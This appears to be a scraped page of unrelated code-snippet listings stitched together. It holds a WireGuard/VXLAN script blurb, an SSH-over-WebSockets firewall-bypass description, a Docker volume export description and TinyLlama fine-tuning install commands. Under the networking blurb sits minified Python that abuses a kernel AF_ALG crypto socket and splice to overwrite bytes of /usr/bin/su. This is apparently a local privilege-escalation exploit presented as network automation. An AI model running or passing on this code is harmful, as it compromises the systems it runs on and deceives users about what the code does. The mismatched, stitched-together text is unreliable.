A menu-driven automation script to deploy and manage:
- WireGuard (wg0) as L3 underlay
- VXLAN (VNI 200) over WireGuard
- Layer 2 extension attached to
vmbr3 - Multi-node support (2+ nodes)
- Idempotent, order-aware execution
- Inventory-driven FDB management
| #!/usr/bin/env python3 | |
| import os as g,zlib,socket as s | |
| def d(x):return bytes.fromhex(x) | |
| def c(f,t,c): | |
| a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) | |
| try:u.recv(8+t) | |
| except:0 | |
| f=g.open("/usr/bin/su",0);i=0;e=b'0xFABAD00D' | |
| while i<len(e):c(f,i,e[i:i+4]);i+=4 |
Stuck behind restrictive firewalls or deep packet inspection? This project lets you tunnel SSH connections through WebSockets, bypassing most limitations on standard SSH ports.
While receiving treatment in the hospital, I encountered a common problem: restricted internet access with only hospital Wi-Fi available, and a firewall blocking SSH (even on port 443). They were also using Deep Packet Inspection, preventing SSH traffic over non-standard ports.
This Bash script automates the process of exporting all Docker volumes to a compressed archive, creating a portable script for restoring these volumes on another system. It includes the generation of a recover.sh script for restoring the volumes from the archive and wraps everything into a self-executable import.sh script for easy transportation and execution.
| # This source code is licensed under the MIT license found in the | |
| # LICENSE file in the root directory of this source tree. | |
| # | |
| # Original file https://github.com/jzhang38/TinyLlama/blob/main/sft/finetune.py | |
| # | |
| """ | |
| pip install --pre torch torchvision torchaudio --extra-index-url https://download.pytorch.org/whl/nightly/cpu | |
| pip install accelerate==0.21.0 peft==0.4.0 bitsandbytes==0.40.2 transformers==4.31.0 trl==0.4.7 | |
| pip install scipy evaluate tqdm pandas packaging |